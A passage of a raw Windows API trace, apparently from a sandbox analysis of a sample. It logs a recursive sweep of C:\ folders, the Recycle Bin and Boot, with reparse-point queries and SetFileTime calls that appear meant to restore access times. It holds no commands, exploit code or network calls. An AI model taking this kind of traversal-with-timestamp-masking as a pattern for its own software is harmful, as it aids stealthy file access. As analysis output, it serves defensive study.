dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0225.649] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Recovery", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x473d1fd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x473d1fd0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Users", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 1 [0225.650] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 0 [0225.650] GetLastError () returned 0x12 [0225.650] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x15ffa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ffa34) returned 0x4fd4a0 [0225.650] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0225.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.650] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0225.650] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0225.650] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0225.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0225.650] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0225.651] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.651] NtClose (Handle=0x170) returned 0x0 [0225.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0225.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0225.854] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd4e0 [0225.854] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.854] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0225.854] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0225.854] GetLastError () returned 0x12 [0225.854] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0225.854] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0225.854] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.854] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0225.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.855] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0225.855] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0225.855] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0225.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0225.855] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0225.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.855] NtClose (Handle=0x170) returned 0x0 [0225.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aed90 [0225.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3850 [0225.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3958 [0225.855] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0225.855] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.863] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.863] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.863] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a60 [0225.863] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aed90) returned 1 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4addb0 [0225.863] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3b68 [0225.863] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.863] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0225.863] GetLastError () returned 0x12 [0225.863] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0225.863] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0225.864] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.864] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0225.864] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0225.864] GetLastError () returned 0x12 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3958) returned 1 [0225.864] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a60) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3850) returned 1 [0225.864] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0225.864] GetLastError () returned 0x12 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0225.864] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.864] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0225.864] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.864] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0225.864] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0225.865] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0225.865] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0225.865] NtClose (Handle=0x1ac) returned 0x0 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0225.865] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0225.865] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.865] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4addd0 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aed90 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.865] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0225.865] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4addf0 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aed08 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3850 [0225.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aec80 [0225.866] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0225.866] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, 